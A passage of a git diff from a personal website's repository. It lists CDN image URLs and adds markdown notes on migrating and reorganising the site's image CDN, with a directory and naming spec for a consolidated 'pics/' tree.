Trilogy Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Disc Golf Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Disturbing video game music iceberg (my version).png +https://krisyotam.com/cdn/photos/icebergs/videogames/Fordoe's Large Roblox Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/I made a doom 3 iceberg.jpg +https://krisyotam.com/cdn/photos/icebergs/videogames/I made an Iceberg of Kletus Gaming from YouTube.jpg +https://krisyotam.com/cdn/photos/icebergs/videogames/Iceberg de Geometry Dash en Español.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Large minecraft mystery iceberg.jpg +https://krisyotam.com/cdn/photos/icebergs/videogames/Last Racing Games Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Lost Action Video Games Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Lost Adventure Games Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Lost Fighting Games Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Lost Online and PC Games Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Lost Sport Games Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Made a Nintendo Console Iceberg Chart.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Mega Roblox Games Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Minecraft ARG and Series Iceberg (it's mine dw).png +https://krisyotam.com/cdn/photos/icebergs/videogames/Minecraft Block Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Modern Roblox Iceberg.jpg +https://krisyotam.com/cdn/photos/icebergs/videogames/My Rare and Expensive Video Games iceberg!.jpg +https://krisyotam.com/cdn/photos/icebergs/videogames/My latest version of the Iceberg Chart for roguelike deckbuilder game Balatro!.png +https://krisyotam.com/cdn/photos/icebergs/videogames/My lost, cancelled,or just rumored games chart..png +https://krisyotam.com/cdn/photos/icebergs/videogames/My take on the Minecraft iceberg chart!.jpg +https://krisyotam.com/cdn/photos/icebergs/videogames/Nintendo Lawsuits, Takedowns, etc Iceberg.jpg +https://krisyotam.com/cdn/photos/icebergs/videogames/Resident Evil 0 Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Resident Evil 2 Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Resident Evil 3 Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Resident Evil Code: Veronica Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Roblox Doors: The iceberg..jpg +https://krisyotam.com/cdn/photos/icebergs/videogames/Roblox Iceberg Template.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Roblox Megaberg Iceberg by julianscpfan.png +https://krisyotam.com/cdn/photos/icebergs/videogames/SFM & GMOD Youtubers Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Scooby Doo Video Games Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Steampunk Movies Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Steampunk Video Games Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/Surreal Video Games Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/The Colossal Minecraft Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/The Dark and Obscure Video Games Iceberg (Happy Halloween!).png +https://krisyotam.com/cdn/photos/icebergs/videogames/The Definitive Geometry Dash Iceberg (Archiving since website is getting shut down).png +https://krisyotam.com/cdn/photos/icebergs/videogames/The Manhunt Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/The Minecraft Iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/The Nintendo Iceberg.jpg +https://krisyotam.com/cdn/photos/icebergs/videogames/The Sega Genesis Game_Game Series Iceberg.jpg +https://krisyotam.com/cdn/photos/icebergs/videogames/The Spooky Roblox Games Iceberg (200 entries).png +https://krisyotam.com/cdn/photos/icebergs/videogames/The not-so-big iceberg of Geometry Dash.jpg +https://krisyotam.com/cdn/photos/icebergs/videogames/Weird and obscure computer games iceberg.png +https://krisyotam.com/cdn/photos/icebergs/videogames/toby fox games iceberg.png +https://krisyotam.com/cdn/photos/krisyotam-light.png +https://krisyotam.com/cdn/photos/logos/anime/pierrot.webp +https://krisyotam.com/cdn/photos/logos/anime/productionig.webp +https://krisyotam.com/cdn/photos/logos/company/atcoder.png +https://krisyotam.com/cdn/photos/logos/company/codechef.png +https://krisyotam.com/cdn/photos/logos/company/codewars.png +https://krisyotam.com/cdn/photos/logos/company/exercism.png +https://krisyotam.com/cdn/photos/logos/company/gentoo-linux.png +https://krisyotam.com/cdn/photos/logos/company/hackerrank-logo.png +https://krisyotam.com/cdn/photos/logos/company/hackthebox.jpg +https://krisyotam.com/cdn/photos/logos/company/leetcode.png +https://krisyotam.com/cdn/photos/logos/company/raidforums.png +https://krisyotam.com/cdn/photos/logos/company/tryhackme.webp +https://krisyotam.com/cdn/photos/logos/fraternity/sigma-pi-phi.png +https://krisyotam.com/cdn/photos/logos/krisyotam/kris-stw.png +https://krisyotam.com/cdn/photos/logos/krisyotam/krisyotam-cursive.jpg +https://krisyotam.com/cdn/photos/logos/krisyotam/krisyotam-hingstyle.png +https://krisyotam.com/cdn/photos/logos/krisyotam/krisyotam.png +https://krisyotam.com/cdn/photos/logos/krisyotam/lael-id.png +https://krisyotam.com/cdn/photos/logos/krisyotam/lael-learn.png +https://krisyotam.com/cdn/photos/logos/krisyotam/lael-therapeutics.png +https://krisyotam.com/cdn/photos/logos/krisyotam/lael-trust.png +https://krisyotam.com/cdn/photos/logos/krisyotam/laelcorp.png +https://krisyotam.com/cdn/photos/logos/krisyotam/lydia-press.png +https://krisyotam.com/cdn/photos/logos/krisyotam/poetry-society.png +https://krisyotam.com/cdn/photos/logos/krisyotam/yhwh.jpg +https://krisyotam.com/cdn/photos/logos/krisyotam/yotam-crest.png +https://krisyotam.com/cdn/photos/media/covers/100m-offers.jpg +https://krisyotam.com/cdn/photos/media/covers/1960s-soul.jpg +https://krisyotam.com/cdn/photos/media/covers/1984.jpg +https://krisyotam.com/cdn/photos/media/covers/2020s-jazz.jpeg +https://krisyotam.com/cdn/photos/media/covers/complex-variables.jpg +https://krisyotam.com/cdn/photos/media/covers/plane-trigonometry.jpg +https://krisyotam.com/cdn/photos/media/covers/structure-abstract-algebra.jpg +https://krisyotam.com/cdn/photos/media/favorites/art-title-1-2.jpg +https://krisyotam.com/cdn/photos/media/favorites/art-title-1.jpg +https://krisyotam.com/cdn/photos/people/actors/akira-kurosawa.jpg +https://krisyotam.com/cdn/photos/people/actors/andrew-garfield.jpg +https://krisyotam.com/cdn/photos/people/actors/angelina-jolie.jpg +https://krisyotam.com/cdn/photos/people/actors/angelina-jolie.webp +https://krisyotam.com/cdn/photos/people/actors/anne-hathaway.webp +https://krisyotam.com/cdn/photos/people/actors/audrey-hepburn.jpg +https://krisyotam.com/cdn/photos/people/actors/audrey-hepburn.webp +https://krisyotam.com/cdn/photos/people/actors/barbara-loden.jpg +https://krisyotam.com/cdn/photos/people/actors/bela-tarr.jpg +https://krisyotam.com/cdn/photos/people/actors/brad-pitt.jpg +https://krisyotam.com/cdn/photos/people/actors/brittany-murphy.jpg +https://krisyotam.com/cdn/photos/people/actors/chadwick-boseman.jpg +https://krisyotam.com/cdn/photos/people/actors/chantal-akerman.jpg +https://krisyotam.com/cdn/photos/people/actors/christian-bale.jpg +https://krisyotam.com/cdn/photos/people/actors/christiane.jpg +https://krisyotam.com/cdn/photos/people/actors/christopher-reeve.jpg +https://krisyotam.com/cdn/photos/people/actors/daisy-randone.jpg +https://krisyotam.com/cdn/photos/people/actors/denzel-washington.jpg +https://krisyotam.com/cdn/photos/people/actors/denzel-washington.webp +https://krisyotam.com/cdn/photos/people/actors/elizabeth-olsen.jpg +https://krisyotam.com/cdn/photos/people/actors/emma-stone.jpg +https://krisyotam.com/cdn/photos/people/actors/fred-astaire.jpg +https://krisyotam.com/cdn/photos/people/actors/georges-franju.jpg +https://krisyotam.com/cdn/photos/people/actors/henry-cavill.jpg +https://krisyotam.com/cdn/photos/people/actors/janelle-monae.jpg +https://krisyotam.com/cdn/photos/people/actors/jean-harlow.jpg +https://krisyotam.com/cdn/photos/people/actors/jenna-ortega.jpg +https://krisyotam.com/cdn/photos/people/actors/jodie-foster.jpg +https://krisyotam.com/cdn/photos/people/actors/julia-garner.jpg +https://krisyotam.com/cdn/photos/people/actors/katherine-hepburn.jpg +https://krisyotam.com/cdn/photos/people/actors/leonardo-dicaprio.jpg +https://krisyotam.com/cdn/photos/people/actors/leonardo-dicaprio.webp +https://krisyotam.com/cdn/photos/people/actors/lisa-rowe.jpg +https://krisyotam.com/cdn/photos/people/actors/louise-brooks.jpg +https://krisyotam.com/cdn/photos/people/actors/lydia-deetz.jpg +https://krisyotam.com/cdn/photos/people/actors/marilyn-monroe.jpg +https://krisyotam.com/cdn/photos/people/actors/marilyn-monroe.webp +https://krisyotam.com/cdn/photos/people/actors/meryl-streep.jpg +https://krisyotam.com/cdn/photos/people/actors/millie-bobby-brown.jpg +https://krisyotam.com/cdn/photos/people/actors/morgan-freeman.jpg +https://krisyotam.com/cdn/photos/people/actors/natalie-portman.jpg +https://krisyotam.com/cdn/photos/people/actors/nicole-kidman.jpg +https://krisyotam.com/cdn/photos/people/actors/robert-downey-jr.jpg +https://krisyotam.com/cdn/photos/people/actors/scarlett-johansson.jpg +https://krisyotam.com/cdn/photos/people/actors/tobey-maguire.jpg +https://krisyotam.com/cdn/photos/people/actors/veronica-sawyer.jpg +https://krisyotam.com/cdn/photos/people/actors/winona-ryder.jpg +https://krisyotam.com/cdn/photos/people/actors/winona-ryder.webp +https://krisyotam.com/cdn/photos/people/actors/yang-yang.jpg +https://krisyotam.com/cdn/photos/people/artists/johannes-vermeer.jpg +https://krisyotam.com/cdn/photos/people/artists/leonardo-da-vinci.jpg +https://krisyotam.com/cdn/photos/people/artists/michelangelo-merisi-da-caravaggio.jpg +https://krisyotam.com/cdn/photos/people/artists/raffaello-sanzio-da-urbino.jpg +https://krisyotam.com/cdn/photos/people/artists/rembrandt.webp +https://krisyotam.com/cdn/photos/people/artists/sandro-botticelli.jpg +https://krisyotam.com/cdn/photos/people/authors/bram-stoker.jpg +https://krisyotam.com/cdn/photos/people/authors/fyodor-dostoyevsky.jpeg +https://krisyotam.com/cdn/photos/people/authors/haruki-murakami.jpg +https://krisyotam.com/cdn/photos/people/authors/james-baldwin.jpg +https://krisyotam.com/cdn/photos/people/authors/jane-austen.jpg +https://krisyotam.com/cdn/photos/people/authors/jorge-luis-borges.jpg +https://krisyotam.com/cdn/photos/people/authors/louisa-may-alcott.jpeg +https://krisyotam.com/cdn/photos/people/authors/mary-shelley.png +https://krisyotam.com/cdn/photos/people/authors/michel-de-montaigne.jpg +https://krisyotam.com/cdn/photos/people/authors/virginia-woolf.jpg +https://krisyotam.com/cdn/photos/people/ayn-rand.jpg +https://krisyotam.com/cdn/photos/people/ballerinas/marie-taglioni.jpg +https://krisyotam.com/cdn/photos/people/carl-friedrich-gauss.jpg +https://krisyotam.com/cdn/photos/people/designers/jill-sander.webp +https://krisyotam.com/cdn/photos/people/dongni-hou.jpg +https://krisyotam.com/cdn/photos/people/leonard-euler.jpg +https://krisyotam.com/cdn/photos/people/lisa-piccirillo.jpg +https://krisyotam.com/cdn/photos/people/musicians/archie-bell-and-the-drells.jpg +https://krisyotam.com/cdn/photos/people/musicians/aretha-franklin.jpg +https://krisyotam.com/cdn/photos/people/musicians/arthur-conley.jpg +https://krisyotam.com/cdn/photos/people/musicians/barbara-lewis.jpg +https://krisyotam.com/cdn/photos/people/musicians/barbara-mason.jpg +https://krisyotam.com/cdn/photos/people/musicians/ben-e-king.jpg +https://krisyotam.com/cdn/photos/people/musicians/bobby-hebb.jpg +https://krisyotam.com/cdn/photos/people/musicians/booker-t-and-the-mgs.jpg +https://krisyotam.com/cdn/photos/people/musicians/brenton-wood.jpg +https://krisyotam.com/cdn/photos/people/musicians/chuck-berry.jpg +https://krisyotam.com/cdn/photos/people/musicians/dave-prater.jpg +https://krisyotam.com/cdn/photos/people/musicians/dee-dee-sharp.jpg +https://krisyotam.com/cdn/photos/people/musicians/diana-ross.jpg +https://krisyotam.com/cdn/photos/people/musicians/dusty-springfield.jpg +https://krisyotam.com/cdn/photos/people/musicians/eddie-floyd.jpg +https://krisyotam.com/cdn/photos/people/musicians/edwin-starr.jpg +https://krisyotam.com/cdn/photos/people/musicians/ernie-k-doe.jpg +https://krisyotam.com/cdn/photos/people/musicians/frank-sinatra.jpg +https://krisyotam.com/cdn/photos/people/musicians/irma-thomas.jpg +https://krisyotam.com/cdn/photos/people/musicians/jackie-wilson.jpg +https://krisyotam.com/cdn/photos/people/musicians/james-brown.jpg +https://krisyotam.com/cdn/photos/people/musicians/jimmy-soul.jpg +https://krisyotam.com/cdn/photos/people/musicians/laufey.jpg +https://krisyotam.com/cdn/photos/people/musicians/lesley-gore.jpg +https://krisyotam.com/cdn/photos/people/musicians/little-milton.jpg +https://krisyotam.com/cdn/photos/people/musicians/martha-reeves.jpg +https://krisyotam.com/cdn/photos/people/musicians/marvin-gaye.jpg +https://krisyotam.com/cdn/photos/people/musicians/mary-wells.jpg +https://krisyotam.com/cdn/photos/people/musicians/michael-jackson.jpg +https://krisyotam.com/cdn/photos/people/musicians/miki-matsubara.jpg +https://krisyotam.com/cdn/photos/people/musicians/neutral-milk-hotel.jpg +https://krisyotam.com/cdn/photos/people/musicians/nina-simone.jpg +https://krisyotam.com/cdn/photos/people/musicians/otis-redding.jpg +https://krisyotam.com/cdn/photos/people/musicians/percy-sledge.jpg +https://krisyotam.com/cdn/photos/people/musicians/ramsey-lewis.jpg +https://krisyotam.com/cdn/photos/people/musicians/ray-charles.jpg +https://krisyotam.com/cdn/photos/people/musicians/sam-cooke.jpg +https://krisyotam.com/cdn/photos/people/musicians/sam-moore.jpg +https://krisyotam.com/cdn/photos/people/musicians/sammy-davis-jr.jpg +https://krisyotam.com/cdn/photos/people/musicians/sly-and-the-family-stone.jpg +https://krisyotam.com/cdn/photos/people/musicians/smokey-robinson.jpg +https://krisyotam.com/cdn/photos/people/musicians/solomon-burke.jpg +https://krisyotam.com/cdn/photos/people/musicians/stevie-wonder.jpg +https://krisyotam.com/cdn/photos/people/musicians/tammi-terrell.jpg +https://krisyotam.com/cdn/photos/people/musicians/the-beatles.jpg +https://krisyotam.com/cdn/photos/people/musicians/the-four-tops.jpg +https://krisyotam.com/cdn/photos/people/musicians/the-isley-brothers.jpg +https://krisyotam.com/cdn/photos/people/musicians/the-marvelettes.jpg +https://krisyotam.com/cdn/photos/people/musicians/the-supremes.jpg +https://krisyotam.com/cdn/photos/people/musicians/the-temptations.jpg +https://krisyotam.com/cdn/photos/people/musicians/wilson-pickett.jpg +https://krisyotam.com/cdn/photos/people/philosophers/albert-camus.jpg +https://krisyotam.com/cdn/photos/people/philosophers/georg-willhelm-friedrich-hegel.jpg +https://krisyotam.com/cdn/photos/people/philosophers/immanuel-kant.jpg +https://krisyotam.com/cdn/photos/people/philosophers/jean-paul-sartre.jpeg +https://krisyotam.com/cdn/photos/people/phoebe-philo.jpg +https://krisyotam.com/cdn/photos/people/poets/edgar-allen-poe.jpg +https://krisyotam.com/cdn/photos/people/poets/edna-st-vincent-millay.jpg +https://krisyotam.com/cdn/photos/people/poets/william-shakespeare.jpg +https://krisyotam.com/cdn/photos/people/rei-kawakubo.jpg +https://krisyotam.com/cdn/photos/people/srinivasa-ramanujan.jpg +https://krisyotam.com/cdn/photos/people/zaha-hadid.jpg +https://krisyotam.com/cdn/photos/reference/ku-klux-klan.png +https://krisyotam.com/cdn/photos/reference/pentagram.png +https://krisyotam.com/cdn/photos/reference/symbols/abracadabra-triangle.jpg +https://krisyotam.com/cdn/photos/reference/symbols/ahimsa-hand.png +https://krisyotam.com/cdn/photos/reference/symbols/alchemical-amalgam.png +https://krisyotam.com/cdn/photos/reference/symbols/alchemical-antimony.png +https://krisyotam.com/cdn/photos/reference/symbols/alchemical-arsenic.png +https://krisyotam.com/cdn/photos/reference/symbols/alchemical-bismuth.png +https://krisyotam.com/cdn/photos/reference/symbols/alchemical-crucible.png +https://krisyotam.com/cdn/photos/reference/symbols/alchemical-gold.png +https://krisyotam.com/cdn/photos/reference/symbols/alchemical-phosphorus.png +https://krisyotam.com/cdn/photos/reference/symbols/alchemical-platinum.png +https://krisyotam.com/cdn/photos/reference/symbols/alchemical-salt.png +https://krisyotam.com/cdn/photos/reference/symbols/alchemical-silver.png +https://krisyotam.com/cdn/photos/reference/symbols/alchemical-sulfur.png +https://krisyotam.com/cdn/photos/reference/symbols/alchemical-vitriol.png +https://krisyotam.com/cdn/photos/reference/symbols/antifa-flags.png +https://krisyotam.com/cdn/photos/reference/symbols/aqua-regia.png +https://krisyotam.com/cdn/photos/reference/symbols/ascendant.png +https://krisyotam.com/cdn/photos/reference/symbols/asteroid-lilith.png +https://krisyotam.com/cdn/photos/reference/symbols/bindu.png +https://krisyotam.com/cdn/photos/reference/symbols/bisexual-triangles.png +https://krisyotam.com/cdn/photos/reference/symbols/black-flag.png +https://krisyotam.com/cdn/photos/reference/symbols/black-panther.png +https://krisyotam.com/cdn/photos/reference/symbols/black-sun.png +https://krisyotam.com/cdn/photos/reference/symbols/bluetooth.png +https://krisyotam.com/cdn/photos/reference/symbols/bohemian-grove-owl.jpg +https://krisyotam.com/cdn/photos/reference/symbols/burning-bush.jpg +https://krisyotam.com/cdn/photos/reference/symbols/celtic-cross-political.png +https://krisyotam.com/cdn/photos/reference/symbols/celtic-cross.png +https://krisyotam.com/cdn/photos/reference/symbols/chaos-star.png +https://krisyotam.com/cdn/photos/reference/symbols/christus-victor.png +https://krisyotam.com/cdn/photos/reference/symbols/conch-shell.png +https://krisyotam.com/cdn/photos/reference/symbols/coptic-cross.png +https://krisyotam.com/cdn/photos/reference/symbols/cross-potent.png +https://krisyotam.com/cdn/photos/reference/symbols/crucifix.png +https://krisyotam.com/cdn/photos/reference/symbols/demolay-crown.png +https://krisyotam.com/cdn/photos/reference/symbols/double-headed-eagle.png +https://krisyotam.com/cdn/photos/reference/symbols/double-vajra.png +https://krisyotam.com/cdn/photos/reference/symbols/element-air.png +https://krisyotam.com/cdn/photos/reference/symbols/element-earth.png +https://krisyotam.com/cdn/photos/reference/symbols/element-fire.png +https://krisyotam.com/cdn/photos/reference/symbols/element-water.png +https://krisyotam.com/cdn/photos/reference/symbols/endless-knot.png +https://krisyotam.com/cdn/photos/reference/symbols/enneagram.png +https://krisyotam.com/cdn/photos/reference/symbols/eye-of-horus.png +https://krisyotam.com/cdn/photos/reference/symbols/eye-of-providence.png +https://krisyotam.com/cdn/photos/reference/symbols/eye-of-ra.png +https://krisyotam.com/cdn/photos/reference/symbols/faravahar.png +https://krisyotam.com/cdn/photos/reference/symbols/fasces.png +https://krisyotam.com/cdn/photos/reference/symbols/flaming-chalice.png +https://krisyotam.com/cdn/photos/reference/symbols/flower-of-life.png +https://krisyotam.com/cdn/photos/reference/symbols/gordian-knot.jpg +https://krisyotam.com/cdn/photos/reference/symbols/griffin.png +https://krisyotam.com/cdn/photos/reference/symbols/hamsa.jpg +https://krisyotam.com/cdn/photos/reference/symbols/helm-of-awe.png +https://krisyotam.com/cdn/photos/reference/symbols/hermetic-order-golden-dawn.png +https://krisyotam.com/cdn/photos/reference/symbols/huguenot-cross.png +https://krisyotam.com/cdn/photos/reference/symbols/ichthys.png +https://krisyotam.com/cdn/photos/reference/symbols/ihs-christogram.png +https://krisyotam.com/cdn/photos/reference/symbols/illuminati-pyramid.jpg +https://krisyotam.com/cdn/photos/reference/symbols/inverted-cross.png +https://krisyotam.com/cdn/photos/reference/symbols/irminsul.png +https://krisyotam.com/cdn/photos/reference/symbols/iron-cross.png +https://krisyotam.com/cdn/photos/reference/symbols/jolly-roger.png +https://krisyotam.com/cdn/photos/reference/symbols/knights-of-pythias.png +https://krisyotam.com/cdn/photos/reference/symbols/labrys-feminist.png +https://krisyotam.com/cdn/photos/reference/symbols/labrys.png +https://krisyotam.com/cdn/photos/reference/symbols/labyrinth.png +https://krisyotam.com/cdn/photos/reference/symbols/leviathan-cross.png +https://krisyotam.com/cdn/photos/reference/symbols/lotus.jpg +https://krisyotam.com/cdn/photos/reference/symbols/mandala.jpg +https://krisyotam.com/cdn/photos/reference/symbols/mano-cornuta.png +https://krisyotam.com/cdn/photos/reference/symbols/masonic-double-headed-eagle.gif +https://krisyotam.com/cdn/photos/reference/symbols/masonic-eye.png +https://krisyotam.com/cdn/photos/reference/symbols/masonic-keystone.png +https://krisyotam.com/cdn/photos/reference/symbols/medical-cross.png +https://krisyotam.com/cdn/photos/reference/symbols/menorah.png +https://krisyotam.com/cdn/photos/reference/symbols/metatrons-cube.png +https://krisyotam.com/cdn/photos/reference/symbols/midheaven.png +https://krisyotam.com/cdn/photos/reference/symbols/mjolnir.jpg +https://krisyotam.com/cdn/photos/reference/symbols/monas-hieroglyphica.png +https://krisyotam.com/cdn/photos/reference/symbols/nazar.png +https://krisyotam.com/cdn/photos/reference/symbols/nine-pointed-star.png +https://krisyotam.com/cdn/photos/reference/symbols/odd-fellows-chain-links.jpg +https://krisyotam.com/cdn/photos/reference/symbols/order-eastern-star.png +https://krisyotam.com/cdn/photos/reference/symbols/ordo-templi-orientis.png +https://krisyotam.com/cdn/photos/reference/symbols/ouroboros.jpg +https://krisyotam.com/cdn/photos/reference/symbols/part-of-fortune.png +https://krisyotam.com/cdn/photos/reference/symbols/patriarchal-cross.png +https://krisyotam.com/cdn/photos/reference/symbols/philosophers-stone.png +https://krisyotam.com/cdn/photos/reference/symbols/phoenix.jpg +https://krisyotam.com/cdn/photos/reference/symbols/pink-triangle.png +https://krisyotam.com/cdn/photos/reference/symbols/priory-of-sion.png +https://krisyotam.com/cdn/photos/reference/symbols/qr-code.png +https://krisyotam.com/cdn/photos/reference/symbols/quintessence-aether.png +https://krisyotam.com/cdn/photos/reference/symbols/red-star.png +https://krisyotam.com/cdn/photos/reference/symbols/rod-of-moses.png +https://krisyotam.com/cdn/photos/reference/symbols/rose-cross.png +https://krisyotam.com/cdn/photos/reference/symbols/rosicrucian-cross.png +https://krisyotam.com/cdn/photos/reference/symbols/sacred-heart.jpg +https://krisyotam.com/cdn/photos/reference/symbols/sator-square.jpg +https://krisyotam.com/cdn/photos/reference/symbols/scarab-winged.jpg +https://krisyotam.com/cdn/photos/reference/symbols/shriners-scimitar.png +https://krisyotam.com/cdn/photos/reference/symbols/sigil-of-baphomet.png +https://krisyotam.com/cdn/photos/reference/symbols/skull-and-bones-322.jpg +https://krisyotam.com/cdn/photos/reference/symbols/solidarity-fist.png +https://krisyotam.com/cdn/photos/reference/symbols/square-and-compass.png +https://krisyotam.com/cdn/photos/reference/symbols/sri-yantra.jpg +https://krisyotam.com/cdn/photos/reference/symbols/three-arrows.png +https://krisyotam.com/cdn/photos/reference/symbols/thule-society.png +https://krisyotam.com/cdn/photos/reference/symbols/thunderbird.jpg +https://krisyotam.com/cdn/photos/reference/symbols/tree-of-life-kabbalah.png +https://krisyotam.com/cdn/photos/reference/symbols/trident-of-poseidon.png +https://krisyotam.com/cdn/photos/reference/symbols/triple-moon.png +https://krisyotam.com/cdn/photos/reference/symbols/triquetra.png +https://krisyotam.com/cdn/photos/reference/symbols/triskelion.png +https://krisyotam.com/cdn/photos/reference/symbols/tryzub.png +https://krisyotam.com/cdn/photos/reference/symbols/unalome.png +https://krisyotam.com/cdn/photos/reference/symbols/unicursal-hexagram.png +https://krisyotam.com/cdn/photos/reference/symbols/usb-symbol.png +https://krisyotam.com/cdn/photos/reference/symbols/valknut.png +https://krisyotam.com/cdn/photos/reference/symbols/vegvisir.png +https://krisyotam.com/cdn/photos/reference/symbols/vesica-piscis.png +https://krisyotam.com/cdn/photos/reference/symbols/wifi-symbol.png +https://krisyotam.com/cdn/photos/reference/symbols/winged-sun-disk.jpg +https://krisyotam.com/cdn/photos/reference/symbols/wolfsangel.png +https://krisyotam.com/cdn/photos/research/a-discrete-iteration-related-to-pierce-expansions.png +https://krisyotam.com/cdn/photos/shop/juvenilia-collected-early-works.jpg diff --git a/doc/files/cdn/migration/reconstruction-notes.md b/doc/files/cdn/migration/reconstruction-notes.md new file mode 100644 index 0000000000000000000000000000000000000000..3a90e96870e965535b2f7f86910cf6ac0b827665 --- /dev/null +++ b/doc/files/cdn/migration/reconstruction-notes.md @@ -0,0 +1,92 @@ +# Reconstruction notes + +## Verified clone + +- Source: `/mnt/storage/cdn` +- Working copy: `/mnt/storage/new-cdn` +- Files: 438,901 in both trees +- Directories: 498 in both trees +- Symlinks: 49 in both trees +- Disk usage: 115G in both trees +- `rsync -aHn --delete --itemize-changes` reported no differences + +The original 33G estimate was low. The verified tree is 115G on disk, with +about 121.9G reported by rsync progress. + +Correction: `archive/` is no longer part of the CDN rebuild. The cloned +`archive/` directory was moved out of `/mnt/storage/new-cdn` and placed at the +standalone route `/mnt/storage/archive`. + +## Dependency scan + +Generated local reports live in `output/`. + +- `cdn-references.txt`: raw `/cdn/` references in `src/krisyotam.com`, + `lit/content`, and `src/photos.krisyotam.com` +- `cdn-reference-paths.txt`: distinct paths from code/content text references +- `photos-db-cdn-urls.txt`: exported `photos.krisyotam.com` DB URLs +- `photos-db-category-counts.tsv`: current photos DB category counts +- `all-reference-paths.txt`: combined distinct paths from text and DB sources + +Counts: + +- 438 text URL matches +- 430 distinct text reference paths +- 7,045 photos DB image rows with CDN URLs +- 7,264 combined distinct referenced CDN paths + +The photos DB is the largest migration consumer and should be regenerated from +the final manifest/tree instead of patched in place. + +## Plan holes and handling + +1. `cover/sequences/` remains the one unresolved root-level placement. Current + working assumption is `assets/covers/sequences/`, but keep it as a manifest + review class until inspected. +2. `images/posts/news` includes at least one referenced media file and is not + fully covered by the image plan. Keep it as `review` in the first manifest. +3. `images/media/*` is not specific enough to map without filename/path review. + The first manifest marks it as needing medium sort. +4. `git/`, `git-edu/`, and `deep-research/` are cloned into `new-cdn` for parity + but should move out of the final CDN route. Their final destination is still + outside the current CDN spec. +5. URL-encoded path segments such as `C%2B%2B`, `C%23`, and + `Design%20Patterns` appear in current references. The URL update phase must + preserve or intentionally normalize URL encoding. +6. `photos.krisyotam.com` categories are currently path-shaped categories, not a + normalized media taxonomy. Rebuild categories from the new `pics/` tree after + canonical paths are finalized. + +## Non-destructive sequencing + +1. ~~Finish full inventory at `/mnt/storage/cdn-migration/new-cdn-inventory.tsv`.~~ +2. ~~Build the first manifest with proposed `new_path`, status, reason, hashes, + dimensions, and reference counts.~~ URL map at `/mnt/storage/cdn-migration/url-map.tsv` (11,482 entries). +3. ~~Review all `review` rows and canonical conflicts.~~ All review items resolved (2026-06-02). +4. ~~Stage moves in `new-cdn` only after the manifest is reviewed.~~ Restructure complete (2026-06-02). +5. ~~Update code/content URLs~~ (2026-06-02): 296 DB URLs updated in content.db and system.db, 1 source file updated. Remaining: rebuild `photos.krisyotam.com` DB from final manifest. +6. Only after validation should the live route be switched. + +## Completed (2026-06-02) + +- new-cdn restructured to final spec: `assets/ audio/ fonts/ games/ iso/ pics/ vids/ vr/` +- `images/` and `photos/` merged into `pics/` with entity-per-directory layout +- People: flat files promoted to `{name}/portrait.jpg` directories +- Media: flat files promoted to `{slug}/cover.jpg` directories +- Artists: split into `people/musicians/` (portraits) + `media/albums/` (covers) +- All collections organized under `pics/collections/` +- Duplicates between images/ and photos/ resolved (3,944 dupes removed) +- Non-CDN dirs moved out: `git/`, `git-edu/`, `deep-research/` -> `/mnt/storage/` +- `archive/` separated to `/mnt/storage/archive` (done earlier) +- content.db: 296 URLs updated (reviews, sequences, workbooks, textbooks, research, lectures, courses) +- system.db: people.image (107), shop_items/shop_images (30) updated +- Source code: 1 file updated (reading.tsx) +- File count: 8,117 files in new-cdn (down from 13,276 after dedup + archive removal) +- Disk: 31G (down from 33G) + +## Remaining + +1. Rebuild `photos.krisyotam.com` DB from final pics/ tree +2. Validate all updated URLs resolve correctly against new-cdn +3. Switch nginx to serve new-cdn as /cdn/ route +4. Verify live site, then remove old /mnt/storage/cdn diff --git a/doc/files/cdn/pics.md b/doc/files/cdn/pics.md new file mode 100644 index 0000000000000000000000000000000000000000..9a1d62054f6b31d13a1842620886b44660d4941a --- /dev/null +++ b/doc/files/cdn/pics.md @@ -0,0 +1,825 @@ +# pics/ + +Primary image tree. Absorbs everything from `images/` and `photos/`. + +## Principles + +1. **Every entity is a directory, not a file.** `winona-ryder/` not `winona-ryder.jpg`. Adding a 7th photo is just dropping a file in the folder. +2. **Canonical file has a fixed name.** `portrait.jpg` for people, `cover.jpg` for media. The site always points here. Stable URL, never changes. +3. **Variants are self-describing.** Filenames encode year, context, source, edition. No `-1`, `-2`, `-3`. +4. **One tree, one truth.** `photos/` and `images/` are eliminated. Everything lives under `pics/`. +5. **Collections are first-class.** Anything that is a finite/novelty/archival set rather than a real-world ever-expanding category is a collection. + +## Structure + +``` +pics/ + people/ -- real people and fictional characters + media/ -- covers for film, anime, manga, tv, games, albums, etc. + platform/ -- profile images from external platforms + collections/ -- finite/novelty/archival sets (including site-specific krisyotam/) + kris/ -- personal photos, setups, food, screenshots, life +``` + +--- + +## People + +``` +pics/people/{role}/{name}/ +``` + +### Roles + +`actors`, `artists`, `authors`, `ballerinas`, `characters`, `designers`, `mathematicians`, `musicians`, `philosophers`, `poets` + +Fictional characters all live under `characters/`. Do not create source-medium role directories such as `anime/`, `film/`, or `tv/` under `people/`; those distinctions are file metadata or variant context, not public-facing structure. + +### Canonical file + +`portrait.jpg` -- the single image the site uses for this person. + +### Variant naming + +``` +{name}-{year}-{context}.jpg 